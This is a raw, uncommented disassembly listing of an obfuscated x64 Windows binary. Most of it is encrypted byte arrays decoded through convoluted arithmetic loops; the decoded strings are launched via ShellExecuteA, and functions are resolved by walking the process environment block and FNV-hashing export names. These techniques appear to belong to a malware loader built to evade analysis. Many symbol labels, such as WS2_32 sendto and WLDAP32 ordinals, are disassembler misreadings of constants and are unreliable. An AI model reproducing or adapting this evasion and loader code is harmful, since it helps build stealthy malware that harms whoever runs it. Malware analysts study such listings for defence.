jae 0x14010770d
lea rax, [r10 + 0x1000]
cmp rdi, rax
jbe 0x14010765b
movabs rdx, 0x496432521fdc7664
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 0x20
jb 0x140107700
movabs rdx, 0x61891f5fe931740c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140107866
movabs rcx, 0x9d6aba6dfe972f7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
lea rax, [rdi + r10]
cmp rax, 0x400
je 0x140107765
lea rax, [r10 + 0x5a]
cmp rdi, rax
jbe 0x1401075a9
movabs rdx, 0x3cd70636d94338da
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401072f4
movabs rdx, 0x90dd8e52b7fdf1f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401077f8
movabs rcx, 0xa80d1037bd75722c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x1401077f5
movabs rdx, 0xbf3c921cc2ecf268
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140107736
movabs rcx, 0xd66c1401c86472a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x1401078b4
movabs rcx, 0xed9b95e6cddbf2e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x14010788e
movabs rdx, 0x4cb17cbd353731c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140107866
lea rax, [r10 + 9]
cmp rdi, rax
jae 0x1401074bc
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x2e
add bl, dl
jmp 0x14010737e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401074e9
movabs rdx, 0x191a58368d327b14
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140107960
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140107518
movabs rdx, 0x1ead65187bafad8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010790c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140107547
movabs rdx, 0xd38bd2877ccbfa60
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401077f8
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140107576
movabs rdx, 0xbc5c50a277547a24
mov ecx, 2
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401077f5
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14010737e
movabs rdx, 0x8dfd4cd86c6579ac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401078b4
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401075d5
movabs rdx, 0x25a78451d3cbb89e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
add bl, dl
jmp 0x140107866
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140107601
movabs rcx, 0xf7488087c8dcb826
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xa
jmp 0x1401078b4
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010762b
movabs rdx, 0x9a8a78f3b2feb736
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x140107789
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401072f4
movabs rcx, 0x6c2b7529a80fb6be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x140107962
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140107687
movabs rcx, 0x3234b06d1a64f628
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x18
jmp 0x140107962
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401076b3
movabs rcx, 0xeca62abe09fe7574
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2c
jmp 0x1401077f8
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401076d0
movabs rdx, 0xd576a8d90486f538
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14010755f
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14010732f
movabs rcx, 0xa717a50ef997f4c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x40
jmp 0x1401078b4
mov byte [rbp + r9 + 0xa0], bl
jmp 0x140107971
movabs rdx, 0x4a599d7ae3b9f3d0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xa0]
add bl, r8b
add bl, dl
movabs rdx, 0x3ec1dc8860fe33b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, bl
mov byte [rbp + r9 + 0xa0], cl
jmp 0x1401077f5
movabs rdx, 0x332a1b95de427394
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0xa0]
sub bl, 0xc
add bl, dl
jmp 0x1401078dc
movabs rcx, 0x3be19b0e1565bb6e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 2
jmp 0x140107962
movabs rcx, 0x6a409ed82054bbe6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4a
jmp 0x1401078dc
movabs rdx, 0x989fa2a22b43bc5e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140107971
movabs rcx, 0xde2e28513baa3d12
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7e
jmp 0x14010788e
movabs rcx, 0xf55daa364121bd4e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
jmp 0x140107866
movabs rcx, 0x23bcae004c10bdc6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
movabs rdx, 0x55f15e6d6675b3ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xa0], cl
inc r10
jmp 0x1401078b4
movabs rdx, 0x521bb1ca56ffbe3e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
dec r9
jmp 0x140107971
mov r8, r11
movabs rcx, 0xaed9b95e6cddbf2e
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x42
movabs rcx, 0x27925aa35b86b376
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xa0], al
inc r10
add rax, r10
sub r9, rax
movabs rcx, 0x1bfa99b0d8caf358
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x68
add r8b, cl
mov byte [rbp + r9 + 0xa0], r8b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140107962
movabs rdx, 0xdd38bd2877ccbfa6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movzx eax, byte [rbp + r9 + 0xa0]
add rax, r10
add r9, rax
inc r9
jmp 0x140106f6e
movabs rdx, 0xfa28c2021475306a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140106f6b
lea rdx, [r9 + r12]
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140106f5b
lea rsi, [rbp + 0x15aec78]
jmp 0x1401079d5
lea rsi, [rbp + 0xdf2c5a]
jmp 0x1401079d5
lea rsi, [rbp + 0xa0]
mov byte [rbp + 0xc0], 0xbf
mov byte [rbp + 0xc1], 0xbd
mov byte [rbp + 0xc2], Ordinal_200
mov byte [rbp + 0xc3], 0xb9
mov byte [rbp + 0xc4], Ordinal_46
xor eax, eax
mov qword [rbp + 0xc5], rax
mov dword [rbp + 0xcd], eax
mov word [rbp + 0xd1], ax
mov byte [rbp + 0xd3], al
mov dil, byte [rsp + 0x50]
movabs r12, 0x86ae06fa5e07247a
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x14
jae 0x140108336
movzx r8d, byte [rbp + r9 + 0xc0]
mov r11, r8
cmp rbx, r9
ja 0x14010832d
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140107a78
lea rcx, [r9 + r12]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, 0x56
jmp 0x140107aa5
je 0x1401082a3
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140108218
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401081e0
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14010818c
cmp r10, r9
ja 0x140108324
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140107ada
movabs rdx, 0xc469289b695fe02
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xe
jmp 0x140107c14
je 0x140108178
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140108157
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140108133
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14010810f
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x140107dac
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140107d88
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x140107d61
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x140107d3d
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140107d1c
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140107d08
lea rbx, [r10 + 9]
lea r10, [rbx + 1]
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140108300
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1401082d9
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x140107c3f
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140107c1c
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x140107bf5
lea rbx, [r10 + 0x10]
lea r10, [rbx + 3]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x140107ce4
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140107cbd
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x140107c9a
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x140107c76
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140107c62
lea rbx, [r10 + 0x28]
lea r10, [rbx + 5]
jmp 0x140107b14
movabs rdx, 0x207dc9f10de0ce3e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140107b07
movabs rcx, 0x1321bbfc51d2854a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 6
jmp 0x140107aa5
movabs rcx, 0x5c5ae0795c43c56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5a
jmp 0x140107a49
movabs rdx, 0x2cc45c7ac476cc40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401081ef
movabs rcx, 0x1f684e860868834c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x14
jmp 0x140108205
movabs rcx, 0x120c40914c5a3a58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x14010823c
movabs rdx, 0x4b0329c904bf164
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140108270
movabs rcx, 0xf75424a7d43da870
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x1401082c2
movabs rdx, 0x14373767574ad03c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x1401081ef
movabs rdx, 0x6db29729b3c8748
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1401080ac
movabs rcx, 0xf97f1b7ddf2e3e54
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x4c
jmp 0x1401081d8
movabs rdx, 0xec230d89231ff560
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401081d5
movabs rdx, 0xdec6ff946711ac6c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401081aa
lea rax, [r10 + 0x10]
cmp rbx, rax
jae 0x140107e7d
lea rdx, [r9 + r12]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x56
add dil, dl
lea rax, [rbx + r10]
cmp rax, 0x200
je 0x1401080e0
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x140107f53
movabs rdx, 0x1777a9a867b3b112
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7e
add dil, dl
cmp rbx, 0x400
jae 0x140108088
lea rax, [r10 + 0x28]
cmp rbx, rax
jbe 0x140107fe3
movabs rdx, 0x23be3c321e49af14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 0x61
jb 0x14010807b
movabs rdx, 0xa956c7c176d8889c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x1401081ad
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140107ea9
movabs rcx, 0x188d25136d2bfc04
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x1401082c2
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140107ed9
movabs rdx, 0x25e93308293a44f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140108270
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140107ef6
movabs rdx, 0x4dfd5ce65d651fd4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x1401081ef
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140107f22
movabs rdx, 0x5b596adb197368c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x1401080af
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140107dd1
movabs rcx, 0x68b578cfd581b1bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x24
jmp 0x1401081d8
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140107f7f
movabs rdx, 0x24d3b79d23c1fa06
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2a
jmp 0x1401081aa
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140107faf
movabs rdx, 0x3f8bd3869bde8bee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401081d8
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140107e0f
movabs rdx, 0x679ffd64d00966ca
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140108205
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140108010
movabs rcx, 0x311a4a26da57f808
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x38
jmp 0x1401082c2
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010803d
movabs rdx, 0x4bd26610527489f0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140108239
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14010805a
movabs rdx, 0x8e9eabd7febbf6b4
mov ecx, 0xa
jmp 0x140107d70
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140107e4b
movabs rdx, 0x9bfab9ccbaca3fa8
mov ecx, 0x34
jmp 0x140107d97
mov byte [rbp + r9 + 0xc0], dil
jmp 0x1401082d1
movabs rdx, 0xb6b2d5b632e6d190
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0xc0]
add dil, r8b
add dil, dl
movabs rdx, 0x3d60dcb090edf60a
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, dil
sub cl, al
sub cl, 0x46
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xc0], cl
jmp 0x140108202
movabs rdx, 0xc40ee3aaeef51a84
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0xc0]
add dil, dl
add dil, r8b
jmp 0x14010823c
movabs rcx, 0x8483102453168e96
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x1a
jmp 0x1401082c2
movabs rcx, 0x4f12d85162dd6ac6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6a
jmp 0x140108202
movabs rcx, 0x345abc67eac0d8de
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x12
jmp 0x1401081d8
movabs rdx, 0x19a2a07e72a446f6
mov ecx, reloc.WLDAP32.dll_Ordinal_35
jmp 0x140107d97
movabs rdx, 0xfeea8494fa87b50e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x62
add dil, dl
movabs rdx, 0x3004cebbd4dfad16
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xc0], cl
inc r10
dec r9
jmp 0x1401082d1
movabs rdx, 0xc97a4cc20a4e913e
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401082d1
mov r8, r11
movabs rdx, 0xaec230d89231ff56
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x5a
add dil, dl
movabs rdx, 0x4abceaa54cfc3efe
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xc0], al
inc r10
add rax, r10
sub r9, rax
movabs rcx, 0xd16af19fab036378
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x48
add cl, r8b
mov byte [rbp + r9 + 0xc0], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1401082c2
movabs rcx, 0x940a14ef1a156d6e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 2
movzx eax, byte [rbp + r9 + 0xc0]
add rax, r10
add r9, rax
inc r9
jmp 0x140107a36
movabs rdx, 0xf869a012d9b5f362
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140107a33
movabs rcx, 0xeb0d921e1da7aa6e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 2
jmp 0x140107a23
lea rdx, [rbp + 0x14c82b8]
jmp 0x14010833d
lea rdx, [rbp + 0x93a732]
jmp 0x14010833d
lea rdx, [rbp + 0xc0]
mov dword [rsp + 0x28], 1
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x1401084cc
xor esi, esi
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
mov r12d, 0x811c9dc5
test esi, esi
je 0x1401083d5
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r12d
jmp 0x1401083c8
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401083b9
cmp edx, esi
jne 0x14010849c
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010849c
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010849c
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, r12d
jmp 0x140108427
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010841c
cmp edx, r14d
je 0x14010843d
test r11d, r11d
jne 0x140108409
jmp 0x14010849c
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401084b1
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401084b1
mov esi, r12d
mov r14d, r12d
jmp 0x14010847b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14010846d
jmp 0x140108490
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140108483
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401084af
cmp qword [rbx + 0x30], 0
jne 0x140108385
xor edx, edx
mov qword [0x1404fc118], rdx
movabs r14, 0x3b16ce24793c580
movabs r15, 0xe3cab7caa09e1080
mov edi, 0x99
mov ecx, edi
call rdx
mov qword [0], rdi
lea rcx, [rbp + 0xe40]
call fcn.14008b590
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140108528
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140108523
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140108523
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14020fb50
and qword [rbp + 0x50], 0
mov qword [rbp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x40], 0
mov byte [rbp + 0x4d0], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x4d1], 0x63
mov byte [rbp + 0x4d2], 0x84
mov byte [rbp + 0x4d3], Ordinal_143
mov byte [rbp + 0x4d4], 0xaf
mov byte [rbp + 0x4d5], 0x9a
mov byte [rbp + 0x4d6], 0xae
mov byte [rbp + 0x4d7], 0xaa
mov byte [rbp + 0x4d8], 0x82
mov byte [rbp + 0x4d9], __WSAFDIsSet
mov byte [rbp + 0x4da], 0xb7
mov byte [rbp + 0x4db], 0x81
mov byte [rbp + 0x4dc], Ordinal_143
mov byte [rbp + 0x4dd], Ordinal_143
mov byte [rbp + 0x4de], 0x81
mov byte [rbp + 0x4df], 0x9b
mov byte [rbp + 0x4e0], 0x62
mov byte [rbp + 0x4e1], 0xbb
mov byte [rbp + 0x4e2], 0x83
mov byte [rbp + 0x4e3], 0xbd
mov byte [rbp + 0x4e4], Ordinal_143
mov byte [rbp + 0x4e5], 0xbf
mov byte [rbp + 0x4e6], 0xb9
mov byte [rbp + 0x4e7], 0x41
mov byte [rbp + 0x4e8], Ordinal_143
mov byte [rbp + 0x4e9], 0xba
mov byte [rbp + 0x4ea], 0xbe
mov byte [rbp + 0x4eb], reloc.WS2_32.dll_send
xor eax, eax
mov qword [rbp + 0x4ec], rax
mov dword [rbp + 0x4f4], eax
mov word [rbp + 0x4f8], ax
mov byte [rbp + 0x4fa], al
movabs rsi, 0x1b73bd6777beb087
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x2b
jae 0x1401091c4
movzx r8d, byte [rbp + r9 + 0x4d0]
mov rdx, r8
cmp rdi, r9
ja 0x1401091bb
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14010867b
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4f
jmp 0x1401086c2
je 0x14010913a
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401090b5
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140109082
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010903a
lea rax, [r10 + 7]
cmp rdi, rax
je 0x140109014
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140108fcd
cmp r10, r9
ja 0x1401091b2
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x1401086f5
movabs rdx, 0x407e897cd2a47b13
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x7b
jmp 0x1401088ee
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140108faf
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140108f8c
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140108f6b
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140108c24
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x140108c03
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x140108be0
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x140108bba
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140108b99
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x140108b73
lea rcx, [r10 + 0x64]
cmp rdi, rcx
je 0x140108b4d
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140108b2c
lea rax, [r10 + 0x1000]
cmp rdi, rax
